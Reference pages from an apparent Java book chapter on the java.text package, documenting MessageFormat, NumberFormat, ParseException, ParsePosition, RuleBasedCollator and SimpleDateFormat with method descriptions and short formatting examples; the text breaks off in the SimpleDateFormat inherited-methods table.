The MessageFormat class constructs textual messages using a formatting pattern string. Conceptually, the class functions much like printf() in C. Syntactically, however, it is quite different. A MessageFormat object uses a pattern string; formatted arguments are placed into the pattern string to produce a resulting string. Arguments are delimited by matching sets of curly braces and may include additional information about how that data should be formatted. For example, consider the following code:

String message =
  "Boot of server {0}began at {1, time}on {1, date, full}.";
MessageFormat boot = new MessageFormat(message);
Date now = new Date();
Object[] arguments = {"luna3", now};
System.out.println(boot.format(arguments));

This code produces the following output:

Boot of server luna3 began at 11:13:22 AM on Monday, March 03, 1997.

Each of the arguments is numbered and includes an optional type and an optional style. In the example above, {1, date, full} indicates that the argument at index 1 in the argument array should be formatted using a DateFormat object with the FULL style. The allowed types and styles are:

Type | Object | Styles
choice | ChoiceFormat | pattern
date | DateFormat | short, medium, long, full, pattern
number | NumberFormat | integer, percent, currency, pattern
time | DateFormat | short, medium, long, full, pattern

For the date and time types, the styles correspond to the styles, or lengths, of the resulting date and time strings. You can also specify a date or time pattern string as you would for creating a SimpleDateFormat object. For the number type, the styles correspond to formatting normal numbers, percentage values, and currency values. You can also specify a number pattern string as you would for creating a DecimalFormat object. For the choice type, you can specify a choice pattern as you would for creating a ChoiceFormat object. If no type is specified, the argument should be a string.

The following example shows how to use a choice format pattern with a MessageFormat:

Object[] arguments = {new Integer(1)};
String grammar = "At last count, {0}server{0, choice, 0#s|1#|1<s}
 {0, choice, 0#were|1#was|1<were}booted.";
MessageFormat booted = new MessageFormat(grammar);
System.out.println(booted.format(arguments));
arguments[0] = new Integer(2);
System.out.println(booted.format(arguments));

This example produces the following output:

At last count, 1 server was booted.
At last count, 2 servers were booted.

As an alternative to specifying all of the formatting in the pattern string, you can use an array of Format objects to format the arguments. You can specify this array using setFormats().

Note that you create MessageFormat objects directly, rather than through factory methods. This is because MessageFormat does not implement any locale-specific behavior. To produce properly internationalized output, the pattern string that is used to construct a MessageFormat should come from a ResourceBundle instead of being embedded in the code.

Class Summary

public class java.text.MessageFormat extends java.text.Format {
  // Constructors
  public MessageFormat(String pattern);
  // Class Methods
  public static String format(String pattern, Object[] arguments);
  // Instance Methods
  public void applyPattern(String newPattern);
  public Object clone();
  public boolean equals(Object obj);
  public final StringBuffer format(Object source, StringBuffer result,
                            FieldPosition ignore);
  public final StringBuffer format(Object[] source, StringBuffer result,
                            FieldPosition ignore);
  public Format[] getFormats();
  public Locale getLocale();
  public int hashCode();
  public Object[] parse(String source);
  public Object[] parse(String source, ParsePosition status);
  public Object parseObject(String text, ParsePosition status);
  public void setFormat(int variable, Format newFormat);
  public void setFormats(Format[] newFormats);
  public void setLocale(Locale theLocale);
  public String toPattern();
}

Constructors

MessageFormat

public MessageFormat(String pattern)

Parameters

pattern

The pattern string.

Description

This constructor creates a MessageFormat with the given formatting pattern string.

Class Methods

format

public static String format(String pattern, Object[] arguments)

Parameters

pattern

The pattern string.

arguments

An array of arguments.

Description

Calling this static method is equivalent to constructing a MessageFormat using the given formatting pattern string and asking it to format the given arguments with the format() method.

Instance Methods

applyPattern

public void applyPattern(String pattern)

Parameters

pattern

The pattern string.

Description

This method tells this MessageFormat to use the given formatting pattern to format and parse arguments.

clone

public Object clone()

Returns

A copy of this MessageFormat.

Overrides

Format.clone()

Description

This method creates a copy of this MessageFormat and then returns it.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Format.equals()

Description

This method returns true if obj is an instance of MessageFormat and is equivalent to this MessageFormat.

format

 public StringBuffer format(Object source, StringBuffer result, FieldPosition ignore)

Parameters

source

The object to be formatted.

result

A StringBuffer on which to append the formatted information.

ignore

Ignored.

Returns

The given buffer result with the formatted representation of the object appended to it.

Overrides

Format.format(Object, StringBuffer, FieldPosition)

Description

This method formats the given object and appends the result to the given StringBuffer. The method assumes that the given object is an array of arguments.

 public StringBuffer format(Object[] source, StringBuffer result, FieldPosition ignore)

Parameters

source

The object array to be formatted.

result

A StringBuffer on which to append the formatted information.

ignore

Ignored.

Returns

The given buffer result with the formatted representation of the object array appended to it.

Description

This method formats the given arguments in the object array and appends the result to the given StringBuffer.

getFormats

public Format[] getFormats()

Returns

An array of the formats used by this MessageFormat.

Description

This method returns the format objects that this MessageFormat uses. Note that formats are numbered according to the order in which they appear in the formatting pattern string, not according to their specified argument numbers.

getLocale

public Locale getLocale()

Returns

The Locale of this MessageFormat.

Description

This method returns the locate for this MessageFormat. This locale is used to get default date, time, and number formatters.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this MessageFormat.

parse

public Object[] parse(String source) throws ParseException

Parameters

source

The string to be parsed.

Returns

An array of objects represented by the given string.

Throws

ParseException

If the text cannot be parsed.

Description

This method parses arguments from the given string, which should be in the format given by the formatting pattern string of this MessageFormat. If the string is not correctly formatted, an exception is thrown.

public Object[] parse(String source, ParsePosition status)

Parameters

source

The string to be parsed.

status

A ParsePosition object that specifies a position in the string.

Returns

An array of objects represented by the test starting at the given position.

Description

This method parses arguments from the given string, starting at the specified position. The string should be in the format given by the formatting pattern string of this MessageFormat.

parseObject

public Object parseObject(String text, ParsePosition status)

Parameters

text

The string to be parsed.

status

A ParsePosition object that specifies a position in the string.

Returns

The object represented by the test starting at the given position.

Overrides

Format.parseObject(String, ParsePosition)

Description

This method parses arguments from the given string, starting at the specified position. The string should be in the format given by the formatting pattern string of this MessageFormat.

setFormat

public void setFormat(int variable, Format newFormat)

Parameters

variable

The index of an argument in the pattern string.

newFormat

The format object to use.

Description

This method sets the Format object that is used for the given argument in the formatting pattern string.

setFormats

public void setFormats(Format[] newFormats)

Parameters

newFormats

The format objects to use.

Description

This method sets the Format objects that format the arguments of this MessageFormat. Note that formats are numbered according to the order in which they appear in the formatting pattern string, not according to their specified argument numbers.

setLocale

public void setLocale(Locale theLocale)

Parameters

theLocale

The new locale.

Description

This method sets the Locale object that generates the default date, time, and number format objects.

toPattern

public String toPattern()

Returns

The pattern string of this MessageFormat.

Description

This method returns the pattern string of this MessageFormat.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | format(Object) | Format
getClass() | Object | notify() | Object
notifyAll() | Object | parseObject(String) | Format
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

ChoiceFormat, DateFormat, FieldPosition, Format, Locale, NumberFormat, ParseException, ParsePosition, ResourceBundle, String, StringBuffer

Previous | Home | Next
Format | Book Index | NumberFormat
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] NumberFormat

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

NumberFormat

Name

NumberFormat

Synopsis

Class Name:

java.text.NumberFormat

Superclass:

java.text.Format

Immediate Subclasses:

java.text.ChoiceFormat, java.text.DecimalFormat

Interfaces Implemented:

java.lang.Cloneable

Availability:

New as of JDK 1.1

Description

The NumberFormat class formats and parses numbers in a locale-specific manner. NumberFormat is an abstract class, but it provides factory methods that return useful instances of NumberFormat subclasses. These factory methods come in three groups:

  • The getCurrencyInstance() methods return objects that format and parse currency values.

  • The getNumberInstance() methods return objects that format and parse normal numbers.

  • The getPercentInstance() methods return objects that format percentage values.

For example, to format a number as an Italian currency value, you can use this code:

double salary = 1234.56;
System.out.println
  (NumberFormat.getCurrencyInstance(Locale.ITALY).format(salary));

This produces the following output:

L 1.234,56

The NumberFormat class defines two field constants that represent the integer and fractional fields in a formatted number. These field constants create FieldPosition objects.

Class Summary

public abstract class java.text.NumberFormat extends java.text.Format
                      implements java.lang.Cloneable {
  // Constants
  public static final int FRACTION_FIELD;
  public static final int INTEGER_FIELD;
  // Class Methods
  public static Locale[] getAvailableLocales();
  public static final NumberFormat getCurrencyInstance();
  public static NumberFormat getCurrencyInstance(Locale inLocale);
  public static final NumberFormat getInstance();
  public static NumberFormat getInstance(Locale inLocale);
  public static final NumberFormat getNumberInstance();
  public static NumberFormat getNumberInstance(Locale inLocale);
  public static final NumberFormat getPercentInstance();
  public static NumberFormat getPercentInstance(Locale inLocale);
  // Instance Methods
  public Object clone();
  public boolean equals(Object obj);
  public final String format(double number);
  public final String format(long number);
  public final StringBuffer format(Object number, StringBuffer toAppendTo,
                            FieldPosition pos);
  public abstract StringBuffer format(double number,
                               StringBuffer toAppendTo, FieldPosition pos);
  public abstract StringBuffer format(long number, StringBuffer toAppendTo,
                               FieldPosition pos);
  public int getMaximumFractionDigits();
  public int getMaximumIntegerDigits();
  public int getMinimumFractionDigits();
  public int getMinimumIntegerDigits();
  public int hashCode();
  public boolean isGroupingUsed();
  public boolean isParseIntegerOnly();
  public Number parse(String text);
  public abstract Number parse(String text, ParsePosition parsePosition);
  public final Object parseObject(String source,
                      ParsePosition parsePosition);
  public void setGroupingUsed(boolean newValue);
  public void setMaximumFractionDigits(int newValue);
  public void setMaximumIntegerDigits(int newValue);
  public void setMinimumFractionDigits(int newValue);
  public void setMinimumIntegerDigits(int newValue);
  public void setParseIntegerOnly(boolean value);
}

Constants

FRACTION_FIELD

public final static int FRACTION_FIELD

Description

A field constant that represents the fractional part of the number.

INTEGER_FIELD

public final static int INTEGER_FIELD

Description

A field constant that represents the integer part of the number.

Class Methods

getAvailableLocales

public static Locale[] getAvailableLocales()

Returns

An array of Locale objects.

Description

This method returns an array of the Locale objects for which this class can create NumberFormat objects.

getCurrencyInstance

public static final NumberFormat getCurrencyInstance()

Returns

A NumberFormat appropriate for the default Locale that formats currency values.

Description

This method creates a NumberFormat that formats and parses currency values in the default locale.

public static NumberFormat getCurrencyInstance(Locale inLocale)

Parameters

inLocale

The Locale to use.

Returns

A NumberFormat appropriate for the given Locale that formats currency values.

Description

This method creates a NumberFormat that formats and parses currency values in the given locale.

getInstance

public static final NumberFormat getInstance()

Returns

A default NumberFormat appropriate for the default Locale.

Description

This method creates a default NumberFormat that formats and parses values in the default locale.

public static NumberFormat getInstance(Locale inLocale)

Parameters

inLocale

The Locale to use.

Returns

A default NumberFormat appropriate for the given Locale.

Description

This method creates a NumberFormat that formats and parses values in the given locale.

getNumberInstance

public static final NumberFormat getNumberInstance()

Returns

A NumberFormat appropriate for the default Locale that formats normal numbers.

Description

This method creates a NumberFormat that formats and parses number values in the default locale.

public static NumberFormat getNumberInstance(Locale inLocale)

Parameters

inLocale

The Locale to use.

Returns

A NumberFormat appropriate for the given Locale that formats normal numbers.

Description

This method creates a NumberFormat that formats and parses number values in the given locale.

getPercentInstance

public static final NumberFormat getPercentInstance()

Returns

A NumberFormat appropriate for the default Locale that formats percentage values.

Description

This method creates a NumberFormat that formats and parses percent values in the default locale.

public static NumberFormat getPercentInstance(Locale inLocale)

Parameters

inLocale

The Locale to use.

Returns

A NumberFormat appropriate for the given Locale that formats percentage values.

Description

This method creates a NumberFormat that formats and parses percent values in the given locale.

Instance Methods

clone

public Object clone()

Returns

A copy of this NumberFormat.

Overrides

Format.clone()

Description

This method creates a copy of this NumberFormat and returns it.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of NumberFormat and is equivalent to this NumberFormat.

format

public final String format(double number)

Parameters

number

The double value to be formatted.

Returns

A string that contains a formatted representation of the value.

Description

This method formats the given number and returns the result as a string.

public final String format(long number)

Parameters

number

The long value to be formatted.

Returns

A string that contains a formatted representation of the value.

Description

This method formats the given number and returns the result as a string.

 public final StringBuffer format(Object number, StringBuffer toAppendTo, FieldPosition pos)

Parameters

number

The object to be formatted.

toAppendTo

A StringBuffer on which to append the formatted information.

pos

A number field.

Returns

The given buffer toAppendTo with the formatted representation of the object appended to it.

Overrides

Format.format(Object, StringBuffer, FieldPosition)

Description

This method formats the given object and appends the result to the given StringBuffer. If pos refers to one of the number fields, its beginning and ending indices are filled with the beginning and ending positions of the given field in the resulting formatted string.

 public abstract StringBuffer format(double number, StringBuffer toAppendTo, FieldPosition pos)

Parameters

number

The double value to be formatted.

toAppendTo

A StringBuffer on which to append the formatted information.

pos

A number field.

Returns

The given buffer toAppendTo with the formatted representation of the object appended to it.

Description

This method formats the given number and appends the result to the given StringBuffer. If pos refers to one of the number fields, its beginning and ending indices are filled with the beginning and ending positions of the given field in the resulting formatted string.

 public abstract StringBuffer format(long number, StringBuffer toAppendTo, FieldPosition pos)

Parameters

number

The long value to be formatted.

toAppendTo

A StringBuffer on which to append the formatted information.

pos

A number field.

Returns

The given buffer toAppendTo with the formatted representation of the object appended to it.

Description

This method formats the given number and appends the result to the given StringBuffer. If pos refers to one of the number fields, its beginning and ending indices are filled with the beginning and ending positions of the given field in the resulting formatted string.

getMaximumFractionDigits

public int getMaximumFractionDigits()

Returns

The maximum number of digits allowed in the fraction portion.

Description

This method returns the maximum number of digits that can be in the fraction part of the number.

getMaximumIntegerDigits

public int getMaximumIntegerDigits()

Returns

The maximum number of digits allowed in the integer portion.

Description

This method returns the maximum number of digits that can be in the integer part of the number.

getMinimumFractionDigits

public int getMinimumFractionDigits()

Returns

The minimum number of digits allowed in the fraction portion.

Description

This method returns the minimum number of digits that can be in the fraction part of the number.

getMinimumIntegerDigits

public int getMinimumIntegerDigits()

Returns

The minimum number of digits allowed in the integer portion.

Description

This method returns the minimum number of digits that can be in the integer part of the number.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this NumberFormat.

isGroupingUsed

public boolean isGroupingUsed()

Returns

A boolean value that indicates whether or not this NumberFormat uses a grouping character to break up long sequences of digits in the integer part of a number.

Description

This method returns true if this NumberFormat uses a grouping character. For example, it is common in the United States to use a comma as a grouping character: 1,234.56.

isParseIntegerOnly

public boolean isParseIntegerOnly()

Returns

A boolean value that indicates whether or not this NumberFormat parses only integers.

Description

This method returns true if this NumberFormat parses only integers.

parse

public Number parse(String text) throws ParseException

Parameters

text

The string to be parsed.

Returns

The Number object represented by the given string.

Throws

ParseException

If the text cannot be parsed as a number.

Description

This method parses a number from the given string, starting from the beginning of the string.

 public abstract Number parse(String text, ParsePosition parsePosition)

Parameters

text

The string to be parsed.

parsePosition

A ParsePosition object that specifies a position in the string.

Returns

The Number object represented by the text starting at the given position.

Description

This method parses a number from the given string, starting from the given position. After the string has been parsed, the given ParsePosition object is updated so that its index is after the parsed text.

parseObject

 public final Object parseObject(String source, ParsePosition parsePosition)

Parameters

source

The string to be parsed.

parsePosition

A ParsePosition object that specifies a position in the string.

Returns

The object represented by the text starting at the given position.

Overrides

Format.parseObject(String, ParsePosition)

Description

This method parses a number from the given string, starting from the given position. After the string has been parsed, the given ParsePosition object is updated so that its index is after the parsed text.

setGroupingUsed

public void setGroupingUsed(boolean newValue)

Parameters

newValue

The new grouping flag.

Description

This method sets whether or not this NumberFormat uses a grouping character to break up long sequences of digits in the integer part of a number. For example, it is common in the United States to use a comma as a grouping character: 1,234.56.

setMaximumFractionDigits

public void setMaximumFractionDigits(int newValue)

Parameters

newValue

The new maximum number of fraction digits.

Description

This method sets the maximum number of digits that may be present in the fraction part of the number. The maximum value must be greater than the minimum number of fraction digits allowed. If the value is less than the current minimum, the minimum is also set to this value.

setMaximumIntegerDigits

public void setMaximumIntegerDigits(int newValue)

Parameters

newValue

The new maximum number of integer digits.

Description

This method sets the maximum number of digits that may be present in the integer part of the number. The maximum value must be greater than the minimum number of integer digits allowed. If the value is less than the current minimum, the minimum is also set to this value.

setMinimumFractionDigits

public void setMinimumFractionDigits(int newValue)

Parameters

newValue

The new minimum number of fraction digits.

Description

This method sets the minimum number of digits that may be present in the fraction part of the number. The minimum value must be less than the maximum number of fraction digits allowed. If the value is greater than the current maximum, the maximum is also set to this value.

setMinimumIntegerDigits

public void setMinimumIntegerDigits(int newValue)

Parameters

newValue

The new minimum number of integer digits.

Description

This method sets the minimum number of digits that may be present in the integer part of the number. The minimum value must be less than the maximum number of integer digits allowed. If the value is greater than the current maximum, the maximum is also set to this value.

setParseIntegerOnly

public void setParseIntegerOnly(boolean value)

Parameters

value

The new parsing flag.

Description

This method sets whether or not this NumberFormat parses only integers. If the value is true, this NumberFormat only parse integers. Otherwise it parses both the integer and fractional parts of numbers.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | format(Object) | Format
getClass() | Object | notify() | Object
notifyAll() | Object | parseObject(String) | Format
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

ChoiceFormat, DecimalFormat, FieldPosition, Format, Number, ParseException, ParsePosition, String, StringBuffer

Previous | Home | Next
MessageFormat | Book Index | ParseException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] ParseException

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

ParseException

Name

ParseException

Synopsis

Class Name:

java.text.ParseException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A ParseException is thrown when the text in a string that is being parsed is not in the correct format.

Class Summary

public class java.text.ParseException extends java.lang.Exception {
  // Constructors
  public ParseException(String s, int errorOffset);
  // Instance Methods
  public int getErrorOffset();
}

Constructors

ParseException

public ParseException(String s, int errorOffset)

Parameters

s

The detail message.

errorOffset

The offset at which the parsing error occurred.

Description

This constructor creates a ParseException with the given detail message and offset.

Instance Methods

getErrorOffset

public int getErrorOffset()

Returns

The error offset.

Description

This method returns the offset at which the parsing error occurred.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

DateFormat, Exception, Format, MessageFormat, NumberFormat

Previous | Home | Next
NumberFormat | Book Index | ParsePosition
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] ParsePosition

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

ParsePosition

Name

ParsePosition

Synopsis

Class Name:

java.text.ParsePosition

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The ParsePosition class encapsulates information about the current position in a text string. A ParsePosition can be passed to the parse() method of a Format subclass to cause parsing to start at the index of the ParsePosition. After an object has been parsed from the string, the index of the ParsePosition is updated to point to just after the text that was parsed. Thus, the same ParsePosition can be passed to multiple Format objects to parse through a complex string.

Class Summary

public class java.text.ParsePosition extends java.lang.Object {
  // Constructors
  public ParsePosition(int index);
  // Instance Methods
  public int getIndex();
  public void setIndex(int index);
}

Constructors

ParsePosition

public ParsePosition(int index)

Parameters

index

The initial position.

Description

This constructor creates a ParsePosition object that is initialized to the given position.

Instance Methods

getIndex

public int getIndex()

Returns

The current position of this ParsePosition.

Description

This method returns the current position of this ParsePosition.

setIndex

public void setIndex(int index)

Parameters

index

The new position of this ParsePosition.

Description

This method sets the current position of this ParsePosition.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

DateFormat, FieldPosition, Format, MessageFormat, NumberFormat, String

Previous | Home | Next
ParseException | Book Index | RuleBasedCollator
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] RuleBasedCollator

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

RuleBasedCollator

Name

RuleBasedCollator

Synopsis

Class Name:

java.text.RuleBasedCollator

Superclass:

java.text.Collator

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The RuleBasedCollator class is a concrete subclass of Collator that can compare strings using a table of rules. The rules for many locales already exist. To get a useful Collator for a given locale, use the getInstance(Locale) factory method of Collator.

If you need a special-purpose Collator or a Collator for a new locale, you can create your own RuleBasedCollator from a string that represents the rules. The rules are expressed in three primary forms:

[relation] [text]
[reset] [text]
[modifier]

The rules can be chained together. The only modifier is the @ character, which specifies that all diacriticals are sorted backwards, as in French.

The valid relations are:

>

Greater than as a primary difference

;

Greater than as a secondary difference or difference in accent

,

Greater than as a tertiary difference or difference in case

=

Equal

For example "<a<b" is two chained rules that state that 'a' is greater than all ignorable characters, and 'b' is greater than 'a'. To expand this rule to include capitals, use "<a,A<b,B".

A reset, specified by the & character, is used to insert rules in an existing list of chained rules. For example, we can add a rule to sort 'e' with an umlaut (Unicode 0308) after plain 'e'. The existing rules might look like "<a<b<c<d<e<f". We can add the following reset, "&e;e\u0308", so that the complete rule table looks like "<a<b<c<d<e<f&e;e\u0308".

Class Summary

public class java.text.RuleBasedCollator extends java.text.Collator {
  // Constructors
  public RuleBasedCollator(String rules);
  // Instance Methods
  public Object clone();
  public int compare(String source, String target);
  public boolean equals(Object obj);
  public CollationElementIterator
         getCollationElementIterator( String source);
  public CollationKey getCollationKey(String source);
  public String getRules();
  public int hashCode();
}

Constructors

RuleBasedCollator

public RuleBasedCollator(String rules) throws ParseException

Parameters

rules

A string that contains the rules.

Throws

ParseException

If the given rules are incorrectly formed.

Description

This constructor creates a RuleBasedCollator with the given rules.

Instance Methods

clone

public Object clone()

Returns

A copy of this RuledBasedCollator.

Overrides

Collator.clone()

Description

This method creates a copy of this RuledBasedCollator and returns it.

compare

public int compare(String source, String target)

Parameters

source

The source string.

target

The target string.

Returns

-1 if source is less than target, 0 if the strings are equal, or 1 if source is greater than target.

Overrides

Collator.compare()

Description

This method compares the given strings according to the rules for this RuleBasedCollator and returns a value that indicates their relationship. If either of the strings are compared more than once, a CollationKey should be used instead.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Collator.equals()

Description

This method returns true if obj is an instance of RuleBasedCollator and is equivalent to this RuleBasedCollator.

getCollationElementIterator

 public CollationElementIterator getCollationElementIterator( String source)

Parameters

source

The source string.

Returns

A CollationElementIterator for the given string.

Description

This method generates a CollationElementIterator for the given string.

getCollationKey

public CollationKey getCollationKey(String source)

Parameters

source

The source string.

Returns

A CollationKey for the given string.

Overrides

Collator.getCollationKey()

Description

This method generates a CollationKey for the given string. The returned object can be compared with other CollationKey objects using CollationKey.compareTo(). This comparison is faster than using RuleBasedCollator.compare(), so if the same string is used for many comparisons, you should use CollationKey objects.

getRules

public String getRules()

Returns

The rules string for this RuleBasedCollator.

Description

This method returns a string that contains the rules that this RuleBasedCollator is using.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Collator.hashCode()

Description

This method returns a hashcode for this RuleBasedCollator.

Inherited Methods

Method | Inherited From | Method | Inherited From
equals(String, String) | Collator | finalize() | Object
getClass() | Object | getDecomposition() | Collator
getStrength() | Collator | notify() | Object
notifyAll() | Object | setDecomposition(int) | Collator
setStrength(int) | Collator | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

CollationKey, CollationElementIterator, Collator, Locale, ParseException, String

Previous | Home | Next
ParsePosition | Book Index | SimpleDateFormat
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] SimpleDateFormat

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

SimpleDateFormat

Name

SimpleDateFormat

Synopsis

Class Name:

java.text.SimpleDateFormat

Superclass:

java.text.DateFormat

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The SimpleDateFormat class is a concrete subclass of DateFormat that formats and parses dates and times using a formatting pattern. Typically, you do not need to instantiate SimpleDateFormat yourself. Instead, the factory methods of DateFormat return instances of SimpleDateFormat that are appropriate for particular locales.

However, if you need a specialized date and time format, you can instantiate your own SimpleDateFormat using a pattern string. You can also modify the formatting pattern of an existing SimpleDateFormat object using the applyPattern() method. The following symbols are significant in the pattern string.

Symbol | Description | Example | Type
G | Era | AD | Text
y | Year | 1997 | Numeric
M | Month in year | 3 or March | Text or numeric
d | Day in month | 4 | Numeric
h | Hour in A.M./P.M. (1-12) | 2 | Numeric
H | Hour in day (0-23) | 14 | Numeric
m | Minute in hour | 33 | Numeric
s | Second in minute | 21 | Numeric
S | Milliseconds | 333 | Numeric
E | Day of week | Thursday | Text
D | Day in year | 63 | Numeric
F | Day of week of month | 1 | Numeric
w | Week in year | 9 | Numeric
W | Week in month | 1 | Numeric
a | A.M./P.M. | P.M. | Text
k | Hour in day (1-24) | 14 | Numeric
K | Hour in A.M./P.M. (0-11) | 2 | Numeric
z | Time zone | EST | Text

Symbols that are numeric can be repeated to specify a minimum number of digits. For example, "hh" produces an hour field that is always at least two digits, like "02". Symbols that are textual can be repeated to specify whether the short form or the long form of the text string is used, if there are both short and long forms. If four or more symbols are specified, the long form is used; otherwise the short form is used. For example, "E" produces a short form of the day of the week, such as "Tue", while "EEEE" produces the long form, such as "Tuesday". For the month of the year, if one or two "M" symbols are used, the field is numeric. If three or more "M" symbols are used, the field is textual.

Single quotes can be used to specify literal text that should be included in the formatted output, and any unrecognized symbol is treated as literal text. For example, the following pattern:

hh:mm a 'in the' zzzz 'zone.'

produces output like:

02:33 PM in the Eastern Standard Time zone.

Internally, the SimpleDataFormat class uses a DateFormatSymbols object to get the date and time strings that are appropriate for a particular locale. If you want to modify these strings, you can get the DateFormatSymbols object by calling getDateFormatSymbols().

Class Summary

public class java.text.SimpleDateFormat  extends java.text.DateFormat {
  // Constructors
  public SimpleDateFormat();
  public SimpleDateFormat(String pattern);
  public SimpleDateFormat(String pattern, Locale loc);
  public SimpleDateFormat(String pattern, DateFormatSymbols formatData);
  // Instance Methods
  public void applyLocalizedPattern(String pattern);
  public void applyPattern(String pattern);
  public Object clone();
  public boolean equals(Object obj);
  public StringBuffer format(Date date, StringBuffer toAppendTo,
                      FieldPosition pos);
  public DateFormatSymbols getDateFormatSymbols();
  public int hashCode();
  public Date parse(String text, ParsePosition pos);
  public void setDateFormatSymbols(DateFormatSymbols newFormatSymbols);
  public String toLocalizedPattern();
  public String toPattern();
}

Constructors

SimpleDateFormat

public SimpleDateFormat()

Description

This constructor creates a SimpleDateFormat that uses a default formatting pattern and DateFormatSymbols that are appropriate for the default locale. It produces the same result as calling DateFormat.getDateTimeInstance(DateFormat.SHORT, DateFormat.SHORT).

public SimpleDateFormat(String pattern)

Parameters

pattern

The pattern string.

Description

This constructor creates a SimpleDateFormat that uses the given formatting pattern and a DateFormatSymbols object that is appropriate for the default locale.

public SimpleDateFormat(String pattern, Locale loc)

Parameters

pattern

The pattern string.

loc

The Locale to use.

Description

This constructor creates a SimpleDateFormat that uses the given formatting pattern and a DateFormatSymbols object that is appropriate for the given locale.

 public SimpleDateFormat(String pattern, DateFormatSymbols formatData)

Parameters

pattern

The pattern string.

formatData

The DateFormatSymbols to use.

Description

This constructor creates a SimpleDateFormat that uses the given formatting pattern and DateFormatSymbols object.

Instance Methods

applyLocalizedPattern

public void applyLocalizedPattern(String pattern)

Parameters

pattern

The pattern string.

Description

This method tells this SimpleDateFormat to use the given formating pattern to format and parse dates and times. The pattern string is assumed to have been localized to the DateFormatSymbols object this SimpleDateFormat uses.

applyPattern

public void applyPattern(String pattern)

Parameters

pattern

The pattern string.

Description

This method tells this SimpleDateFormat to use the given formatting pattern to format and parse dates and times. The pattern string is localized to the DateFormatSymbols object this SimpleDateFormat uses.

clone

public Object clone()

Returns

A copy of this SimpleDateFormat.

Overrides

DateFormat.clone()

Description

This method creates a copy of this SimpleDateFormat and returns it.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

DateFormat.equals()

Description

This method returns true if obj is an instance of SimpleDateFormat and is equivalent to this SimpleDateFormat.

format

 public StringBuffer format(Date date, StringBuffer toAppendTo, FieldPosition pos)

Parameters

date

The Date object to be formatted.

toAppendTo

A StringBuffer on which to append the formatted information.

pos

A date or time field.

Returns

The given buffer toAppendTo with the formatted representation of the object appended to it.

Overrides

DateFormat.format(Date, StringBuffer, FieldPosition)

Description

This method formats the given date and appends the result to the given StringBuffer. If pos refers to one of the time or date fields, its beginning and ending indexes are filled with the beginning and ending positions of the given field in the resulting formatted string.

getDateFormatSymbols

public DateFormatSymbols getDateFormatSymbols()

Returns

The DateFormatSymbols object used by this SimpleDateFormat.

Description

This method returns the DateFormatSymbols object that this SimpleDateFormat uses internally.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

DateFormat.hashCode()

Description

This method returns a hashcode for this SimpleDateFormat.

parse

public Date parse(String text, ParsePosition pos)

Parameters

text

The string to be parsed.

pos

A ParsePosition object that specifies a position in the string.

Returns

The Date object represented by the text starting at the given position.

Overrides

DateFormat.parse(String, ParsePosition)

Description

This method parses a date from the given string, starting from the given position. After the string has been parsed, the given ParsePosition object is updated so that its index is after the parsed text.

setDateFormatSymbols

 public void setDateFormatSymbols( DateFormatSymbols newFormatSymbols)

Parameters

newFormatSymbols

The new DateFormatSymbols object to use.

Description

This method sets the DateFormatSymbols object that this SimpleDateFormat uses internally.

toLocalizedPattern

public String toLocalizedPattern()

Returns

The pattern string of this SimpleDateFormat.

Description

This method returns the pattern string of this SimpleDateFormat, localized with the DateFormatSymbols object of this SimpleDateFormat.

toPattern

public String toPattern()

Returns

The pattern string of this SimpleDateFormat.

Description

This method returns the pattern string of this SimpleDateFormat.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | format(Object) | Format
format(Date) | DateFormat | format(Object, StringBuffer, FieldPosition) | DateFormat
getCalendar() | DateFormat | getClass() | Object
